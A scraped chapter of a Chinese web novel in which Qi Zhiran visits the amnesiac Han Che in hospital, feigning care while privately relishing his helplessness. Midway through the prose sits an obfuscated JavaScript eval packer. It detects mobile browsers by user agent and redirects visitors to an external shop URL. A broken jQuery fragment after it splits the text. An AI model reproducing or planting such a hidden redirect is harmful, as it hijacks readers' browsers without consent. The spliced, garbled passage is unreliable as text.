面前人原本白皙到几近透明的肤色随着祁知燃话语的落下,瞬间浮上一层霞色,苍白的脸颊也因此添了些许鲜活的味道,少了几分病气,倒是让他原本冷冽的气质变得温柔起来。

    韩澈完全没有怀疑对方说的话,亦或许是因为祁知燃是唯一一个来医院看他的人,所以他很轻易地就相信了对方。

    他脸上的紧张感慢慢消散了,此刻的韩澈就像是一只刚破壳的雏鸟,对面前这个英俊的男人产生了强烈的依恋之情。

    他抿着唇朝面前人浅浅一笑,那宛若花瓣的嘴唇微微上扬,眼波流转间满是依赖与信任。

    “那我刚刚醒来的时候你怎么不在我身边呢?”这句话看似埋怨,可说话的人却满面羞云,全然没有责怪的意思。

    如果说曾经的韩澈是峰顶终年不化的积雪,那此刻的他,更像冰消雪融后潺潺流淌的溪水,周身都散发着温和与柔软的气息。

    祁知燃侧过头看他,心底那点顽劣的念头被对方此刻这副懵懂又纯真的模样彻底勾了出来。

    “不好意思,公司有事耽误了,以后不会这样了。”他脸上依旧挂着那层伪装的面具,嘴角勾起的笑容恰到好处地掺了几分歉意,仿佛真的在为自己的迟到而愧疚。

    果然,下一秒,他便不出所料地看到对方脸上露出了失措的神色。

    韩澈稍稍低头,浓密的睫毛盖住那双剔透的眸子,语气放地很软:“没事的,我也没有等很久。”

    说完,似乎是觉得自己这番话还不够体贴,犹豫了几秒后,也不知道哪来的勇气,他居然伸手拉住了祁知燃随意搭在椅圈上右手。

    在对方手搭过来的瞬间,祁知燃几乎是下意识地眉头一皱,但很快面色又恢复如常。

    他的目光状似无意地落在两人交叠的双手上,一只莹白如玉的手轻轻勾住了自己中间的三根手指,对方的指尖冰凉,触感却出乎意料的柔软。

    这手倒像女人的,祁知燃在心里暗忖,面上却不动声色。

    他饶有兴致地盯着躺在病床上的人,看着对方的胸口因为紧张而微微起伏,终于在韩澈的羞耻心即将到达临界点时,反手将那只触感温润的手拢进了自己掌心。

    这只手与主人的性格截然相反,柔滑得像一块上好的羊脂玉。

    祁知燃忍不住轻轻摩挲了一下对方的手背,舒适的触感让他下意识眯了眯眼。

    与此同时,他也地敏锐察觉到了对方的身体在轻微战栗。

    嘴角的弧度加深,祁知燃松开了对方的手,很自然地倒了杯水递过去:“刚路过咨询台的时候,护士跟我说你过两天就可以出院了。”

    韩澈顺从地接过水杯,当对方提到出院后的事宜时,脸上又露出了方才那般茫然失措的神情,他张了张口,脑袋里一片空白,只能下意识的依赖身边的这人。

    “或许,我可以回家人身边待一段时间,刚才医生也说熟悉的人和环境能帮助我恢复记忆。”他思索半晌,开口提议。

    可话刚说完,就见对方露出了略带遗憾的神情。

    他心中隐隐有了不好的预感,不由得蹙起眉头,果然就听见对方开口道:“看来你是真的什么都想不起来了,你的父母都已经不在了。”

    虽然韩澈什么都不记得了,但听见这句话时,他的鼻尖还是没忍住一酸。心猛地下坠,苦涩翻涌成潮,将他强撑起的坚强冲刷地一干二净。

    这时,祁知燃手里的电话却突兀的响了,他看了一眼来电显示后,对韩澈说了声不好意思,随即走到阳台去接听电话。

    房间里又陷入了寂静,韩澈的视线追随着离开人的身影望向了阳台外的世界。

    失忆的恐慌,以及得知家人离世的悲伤让他刚重塑起来的坚强全部倒塌,外面的阳光很明媚,透过清透的窗户洒进这间小小的病房。

    韩澈却莫名感到十分的无助与害怕,他畏惧这个一无所知的世界,也恐惧这间狭小的房间,这些情绪交杂在一起,让他有一种想要落泪的冲动。

    不远处的祁知燃稍一偏头,映入眼帘的便是这样一副画面,那个向来腰杆直挺,目空一切的韩澈,此时正弯着腰,将脸埋在双手里啜泣。

    “喂?你有在听我说话吗?”林言的声音从电话另一头传来,将祁知燃的思绪拉了回来。

    他嗯了一声,问道:“什么事?”

    “韩澈现在什么情况?”

    祁知燃:“人没事,就是失忆了,医生说过段时间应该能好。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558769|204507||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>林言讶然:“怎么会怎样?”

    “我哪知道,估计撞坏脑子了。”祁知燃语气随意,视线却没从那人身上移开。

    电话里传来林言的叹息声:“这世界对他未免也太过残忍了。”

    祁知燃沉默片刻,又听见对方说:“你先帮我照顾他一段时间吧,毕竟你们也算是同事。”

    林言说完自己都觉得有些过分,依着祁知燃那散漫的性子,让他平白无故去关照一个人,简直是天方夜谭。

    意识到自己是在痴人说梦,林言有些头疼地捏了捏眉心,正思索着还有没有别的办法,却听见电话那头的祁知燃说:“可以。”

    “什么?”林言甚至怀疑自己听错了。

    “我说可以,你放心吧。”祁知燃懒得再多说,直接挂断了电话。

    沉浸在悲伤中的韩澈似乎没察觉到站在外面的人已经走了回来,那只扎着输液针的手被人轻轻攥住,他眨了眨眼,泪水没了阻挡,从脸颊滑落。

    “回血了。”祁知燃语气温和地说着,牵起他的手放回病床上。

    也不知是为什么,韩澈潜意识里很不想在这人面前流露出脆弱的样子,只得低下头,用另一只手胡乱地擦着脸上的泪痕,试图以此来掩盖自己的悲伤。

    可下一秒,他的下巴却被一只手托住,祁知燃没使多少力气便让韩澈抬起了脸,那双被泪水浸染过的眸子通透得像一汪碧波清泉,直愣愣地望着自己。

    “你在害怕。”祁知燃的眼中带着洞悉一切的了然。

    恐惧被人直接了当地点破,韩澈一时语塞,淡粉色的唇微张,却一个字也说不出来。

    祁知燃目光扫过对方那张带着泪痕的脸,轻笑一声,压低声音对他说:“没事的,我会照顾你的,有我在,你不用担心。”

    “想哭就哭吧。”那只宽厚温热的手挪到韩澈的脸颊上,为他擦去未干的泪痕,对他说。

    压抑的泪水在这句话落下的瞬间夺眶而出,韩澈再也克制不住自己的哽咽,流不尽的眼泪打湿了祁知燃的掌心,他却始没松手。

    他垂眸望着韩澈那张被泪水打湿的脸,心里并没有半分多余的怜惜,反而想的却是:比起臭着张脸,这人哭起来的模样反倒更顺眼些。